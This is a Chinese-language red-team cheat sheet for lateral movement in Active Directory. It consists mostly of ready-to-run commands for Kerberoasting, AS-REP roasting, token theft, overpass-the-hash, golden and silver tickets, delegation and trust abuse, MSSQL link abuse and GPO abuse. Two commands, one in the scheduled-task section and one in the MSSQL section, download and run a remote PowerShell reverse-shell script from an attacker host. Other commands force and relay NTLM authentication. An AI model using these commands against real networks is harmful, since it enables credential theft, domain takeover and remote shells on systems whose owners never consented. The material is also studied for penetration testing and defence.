PowerView:橫向移動
使用PowerView的橫向移動列舉
# Find existing local admin access for user
Find-LocalAdminAccess
# Hunt for sessions of interesting users on machines where you have access
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }
# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname
# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name
# Look for users on which we can set UserAccountControl flags
## If available - disable preauth or add SPN (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained
# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
使用SharpHound.ps1的Invoke-BloodHound
或者使用SharpHound.exe。兩者都可以反射性地運行,在這里得到它們。
下面的例子使用PowerShell的變體,但參數是相同的。
# Run all checks, including restricted groups enforced through the domain ? Invoke-BloodHound -CollectionMethod All,GPOLocalGroup # Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy ? Invoke-BloodHound -CollectionMethod LoggedOn
Kerberoasting
自動使用PowerView
Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"
用Hashcat破解哈希值:
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
手動:
# Request TGS for kerberoastable account (SPN) Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com" # Dump TGS to disk Invoke-Mimikatz -Command '"kerberos::list /export"' # Crack with TGSRepCrack python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
通過設置 SPN 進行定向 kerberoasting
我們需要具有 ACL 寫入權限才能為目標用戶設置 UserAccountControl 標志,請參閱上文以識別有趣的 ACL。使用 PowerView:
Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'
AS-REP
獲取一個用戶的哈希值,使用ASREPRoast.ps1
Get-ASREPHash -UserName TargetUser
使用 Hashcat 破解哈希:
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
通過禁用 Kerberos 預身份驗證進行有針對性的 AS-REP
同樣,我們需要 ACL 寫入權限來為目標用戶設置 UserAccountControl 標志。
使用 PowerView:
Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}
token
令牌可以從其他有會話的用戶/在機器上運行的進程中冒充。大多數C2框架都有內置的功能(如Cobalt Strike中的 "竊取令牌 "功能)。
# Show tokens on the machine .\incognito.exe list_tokens -u # Start new process with token of a specific user .\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.ex
如果你使用Meterpreter,你可以使用內置的Incognito模塊,使用incognito,同樣的命令可以使用。
調用 - token
# Show all tokens on the machine Invoke-TokenManipulation -ShowAll # Show only unique, usable tokens on the machine Invoke-TokenManipulation -Enumerate # Start new process with token of a specific user Invoke-TokenManipulation -ImpersonateUser -Username "domain\user" # Start new process with token of another process Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500
使用Rubeus的橫向運動
我們可以用Rubeus來執行一種叫做 "Overpass-the-Hash "的技術。在這種技術中,我們不是直接傳遞哈希值(另一種被稱為 "傳遞哈希值 "的技術),而是使用一個賬戶的NTLM哈希值來請求一個有效的Kerberost票(TGT)。然后,我們可以使用這個票據,作為目標用戶向域名進行認證。
# Request a TGT as the target user and pass it into the current session # NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs .\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt # More stealthy variant, but requires the AES256 hash .\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt # Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation) .\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
一旦我們有了一個TGT作為目標用戶,我們就可以在一個領域背景下作為這個用戶使用服務,允許我們橫向移動。
使用Mimikatz的橫向運動
請注意,Mimikatz的功能非常多,在本博客的多個部分都有討論。然而,正因為如此,這個二進制文件也是非常容易被發現的。如果你需要在你的目標上運行Mimikatz(不推薦),反射性地執行一個自定義版本是你最好的選擇。還有一些選項,如Invoke-MimiKatz或Safetykatz。注意,后者更隱蔽,但不包括所有功能。
# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory) sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe # Golden ticket (domain admin, w/ some ticket properties to avoid detection) kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt # Silver ticket for a specific SPN with a compromised service / machine account kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
使用計劃任務執行命令
需要“主機”SPN、要創建任務:
# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"
觸發任務:
schtasks /RUN /TN "shell" /s dc.targetdomain.com
使用 WMI 執行命令
需要“主機”和“RPCSS”SPN
Windows
Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"
Linux
# with password impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101 # with hash impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594 # with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs) impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k
使用 PowerShell 遠程執行命令
需要“CIFS”和“HTTP”SPN。可能還需要“WSMAN”或“RPCSS”SPN(取決于操作系統版本)
# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN/targetuser', $SecPassword)
# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}
# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser
# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess
# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"
無約束委派
可以在前端服務(例如 IIS Web 服務器)上設置無約束委派,以允許它代表用戶委派域中的任何服務(針對后端服務,例如 MSSQL 數據庫)。
DACL UAC 屬性:TrustedForDelegation.
開發
使用設置了無約束委派的服務器上的管理權限,我們可以為具有連接的其他用戶轉儲 TGT。如果我們成功地做到了這一點,我們就可以將受害者用戶偽裝成域中的任何服務。
Mimikatz:
sekurlsa::tickets /export kerberos::ptt c:\path\to\ticket.kirbi
Rubeus:
.\Rubeus.exe triage .\Rubeus.exe dump /luid:0x5379f2 /nowrap .\Rubeus.exe ptt /ticket:doIFSDCC[...]
如果該 DC 容易受到打印機錯誤的影響,我們還可以獲得域控制器計算機帳戶的哈希值。如果我們成功執行此操作,我們可以 DCSync 域控制器(見下文)以完全破壞當前域。
在具有無約束委派的服務器上,使用 Rubeus 監視新票據
.\Rubeus.exe monitor /interval:5 /nowrap
從攻擊機器上,利用打印機漏洞誘使域控制器連接
.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com
DC 的機器帳戶的 TGT 應該在第一個會話中出現。我們可以將這張票傳遞到我們當前的會話中以獲得 DCSync 權限
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
受限制的委派
可以在前端服務器(例如 IIS)上設置約束委派,以允許它代表用戶僅委派給選定的后端服務(例如 MSSQL)。
DACL UAC 屬性:TrustedToAuthForDelegation. 這允許s4u2self,即代表任何人向自己請求 TGS ,僅使用 NTLM 密碼哈希。這有效地允許服務僅使用他們的哈希來模擬域中的其他用戶,并且在用戶和前端之間未使用 Kerberos 的情況下非常有用。
DACL 屬性:msDS-AllowedToDelegateTo. 此屬性包含允許在其上使用的 SPN s4u2proxy,即基于現有 TGS(通常是使用 獲得的s4u2self)為該服務器請求可轉發 TGS 。這有效地定義了允許約束委派的后端服務。
注意:這些屬性不必同時存在!如果s4u2proxy允許而沒有s4u2self,則需要用戶交互才能從用戶那里獲取到前端服務的有效 TGS,類似于無約束委派。
開發
在這種情況下,我們使用 Rubeus 自動請求 TGT,然后使用ldapSPN請求 TGS,以允許我們使用機器帳戶進行 DCSync。
# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user) .\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E # Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN .\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt # Same as the two above steps, but access the LDAP service on the DC instead (for dcsync) .\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
基于資源的約束委派
基于資源的約束委派 (RBCD) 將后端服務器(例如 MSSQL)配置為僅允許選定的前端服務(例如 IIS)代表用戶進行委派。這使得特定服務器管理員可以更輕松地配置委派,而無需域管理員權限。
DACL 屬性:msDS-AllowedToActOnBehalfOfOtherIdentity.
在這種情況下,s4u2self和s4u2proxy如上所述用于代表用戶請求可轉發票證。但是,對于 RBCD,KDC 會檢查請求服務(即前端服務)的 SPN是否存在于后端服務的msDS-AllowedToActOnBehalfOfOtherIdentity屬性中。這意味著前端服務需要設置一個 SPN。因此,必須從具有 SPN 的服務帳戶或機器帳戶執行針對 RBCD 的攻擊。
開發
如果我們破壞出現在后端服務的 RBCD 屬性中的前端服務,則利用與上述約束委托相同。然而,這并不常見。
更經常看到攻擊RBCD是當我們有GenericWrite,GenericAll,WriteProperty,或WriteDACL許可在域中的計算機對象。這意味著我們可以msDS-AllowedToActOnBehalfOfOtherIdentity在此計算機帳戶上編寫屬性以添加受信任的受控 SPN 或計算機帳戶進行委派。我們甚至可以創建一個新的機器帳戶并添加它。這允許我們在任何用戶的上下文中破壞目標機器,就像約束委派一樣。
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)
# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}
# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt
濫用域信任
所有命令都必須在當前域中以 DA 權限運行。
請注意,如果您完全破壞子域 ( currentdomain.targetdomain.com),根據定義,targetdomain.com由于隱式信任關系,您也可以破壞父域 ( )。對于禁用 SID 過濾的任何信任關系,同樣計數(請參閱下面的“濫用林間信任”)。
使用域信任密鑰
從 DC,currentdomain\targetdomain$使用 Mimikatz(例如,使用 LSADump 或 DCSync)轉儲信任帳戶的散列。然后,使用此信任密鑰和域 SID,使用 Mimikatz 偽造域間 TGT,將目標域的企業管理員組的 SID 添加到我們的“SID 歷史記錄”中。
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi
.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt
使用 krbtgt 哈希
從 DC,使用 DCSync 或 LSADump 轉儲 krbtgt 哈希。然后,使用這個哈希,使用 Mimikatz 偽造一個跨領域的 TGT,就像之前的方法一樣。
這樣做需要當前域的 SID 作為/sid參數,目標域的 SID 作為/sids參數的一部分。您可以使用 PowerView 的Get-DomainSID. 使用SID歷史(/sids的)*-516和S-1-5-9以偽裝的域控制器組和企業域控制器分別是在日志中的噪聲低。
kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt
或者,使用目標域中企業管理員組的 SID 歷史生成域管理員票據
kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt
我們現在可以立即 DCSync 目標域,或者使用例如計劃任務獲得反向 shell。
濫用森林間信任
由于森林是一個安全邊界,我們只能訪問與我們已入侵的域(我們的源域)共享的域服務。使用例如 BloodHound 查找在兩個森林中都有帳戶(具有相同用戶名)的用戶并嘗試重用密碼。此外,我們可以使用 BloodHound 或 PowerView 來尋找森林之間的外部組成員身份。PowerView 命令:
Get-DomainForeignGroupMember -domain targetdomain.com
在某些情況下,可能會在林之間禁用SID 過濾(導致上述情況的保護)。如果您跑步Get-DomainTrust并看到該TREAT_AS_EXTERNAL物業,情況就是如此!在這種情況下,如上所述,您可以像域信任一樣濫用林信任。請注意,您仍然可以不偽造車票500和1000之間的任何SID的,所以你不能成為DA(甚至沒有間接通過組繼承)。在這種情況下,查找授予例如域控制器上的本地管理員或類似的非域權限的組。有關更多信息,請參閱此博客文章。
要模擬源域中的用戶訪問外部域中的服務,我們可以執行以下操作。像上面的“使用域信任密鑰”一樣提取林間信任密鑰。
使用 Mimikatz 使用信任密鑰為目標域生成 TGT:
Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi
然后,使用 Rubeus 向 TGS 請求CIFS使用此 TGT 的目標 DC 上的服務。
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt
現在我們可以使用目標林的 DC 上的 CIFS 服務作為我們源域的 DA(同樣,只要此信任配置為存在)。
濫用 MSSQL 數據庫進行橫向移動
MSSQL 數據庫可以鏈接,這樣如果你破壞一個數據庫,你可以在特定用戶的上下文中對其他數據庫執行查詢(甚至操作系統命令)如果這樣配置,它甚至可以用來遍歷森林邊界!如果我們有 SQL 執行,我們可以使用以下命令來枚舉數據庫鏈接。
-- Find linked servers
EXEC sp_linkedservers
-- Run SQL query on linked server
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')
-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
我們還可以使用PowerUpSQL在域中查找數據庫,并收集有關(可訪問的)數據庫的更多信息。我們還可以在鏈接的數據庫上自動查找和執行查詢或命令(甚至通過多層數據庫鏈接)。
# Get MSSQL databases in the domain, and test connectivity
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft
# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo
# Get information on a single reachable database
Get-SQLServerInfo -Instance TARGETSERVER
# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance TARGETSERVER
# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER
# Run command (enables XP_CMDSHELL automatically if required)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" | select -ExpandProperty CommandResults
# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft
# Run command if XP_CMDSHELL is enabled on any of the linked databases
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft
如果您對 MSSQL 數據庫具有低特權訪問權限并且不存在鏈接,則您可能會通過使用xp_dirtree存儲過程訪問此共享來強制 NTLM 身份驗證。如果此操作成功,則可以收集 SQL 服務帳戶的 NetNTLM,并可能破解或中繼以破壞作為該服務帳戶的計算機。
EXEC master..xp_dirtree "\\192.168.49.67\share"
示例命令將散列中繼以本地管理員身份進行身份驗證(如果服務帳戶具有這些權限)并運行calc.exe. 省略-c參數以嘗試 asecretsdump代替。
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'
濫用組策略對象進行橫向移動
如果我們確定我們有權在域內編輯和鏈接新的組策略對象 (GPO)(請參閱“使用 PowerView進行AD 枚舉”),我們可以濫用這些權限橫向移動到其他計算機。
例如,我們可以使用適用于 Windows的合法遠程系統管理工具(RSAT) 來創建新的 GPO,將其鏈接到目標,并部署注冊表 runkey 以添加將在機器下次啟動時自動運行的命令。
# Create a new GPO and link it to the target server New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com' # Link an existing GPO to another target server New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO' # Deploy a registry runkey via the GPO Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString
我們還可以使用SharpGPOAbuse部署一個即時計劃任務,該任務將在組策略刷新時運行(默認為每 1-2 小時一次)。SharpGPOABuse 不創建自己的 GPO 對象,因此我們首先必須運行上面列出的用于創建和鏈接 GPO 的命令。在此之后,我們可以運行 SharpGPOAbuse 來部署即時任務。